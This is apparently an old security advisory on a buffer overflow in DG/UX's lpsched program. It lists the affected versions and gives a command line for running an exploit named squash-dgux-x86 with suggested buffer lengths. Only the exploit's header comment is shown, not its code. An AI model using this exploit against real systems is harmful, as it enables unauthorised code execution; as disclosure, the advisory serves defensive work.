There's a vulnerability in DG's UNIX implementation of lpsched.
When a very long, non-existant, printer name is passed to the program lpsched, it tries to format an error message and a buffer overflow occurs. This overflow allows arbitrary code execution.
Vulnerable systems:
DGUX version R4.20MU06 and MU02 (ia32 arch).
Exploit:
Use the exploit code below like this:
$ ./squash-dgux-x86 29000 /usr/lib/lp/lpsched -S EGG
(if the 29000 doesn't work, try 27428 or other numbers)
Exploit Code:
/******************************************************************************
* Stack Smasher by Luciano Rocha, (c) 1999 *
* for dgux (Data General's UN*X) on x86 *
* *
* To compile: cc -o squash-dgux-x86 squash-dgux-x86.c *
* *
* To use: squash-dgux-x86 <length> <program to squash> [params of prog] *
* EGG [other params of prog] *
* *
* For a list of programs and their respective lengths see my home page, *
* currently at http://strange.nsk.yi.org/ *
* *
* My email: strange@nsk.yi.org *
* *
* Disclaimer: I take no responsability of whatever may result of using *
* this program nor I sugest ilegal use of it. *
* You are on your own. *
******************************************************************************/
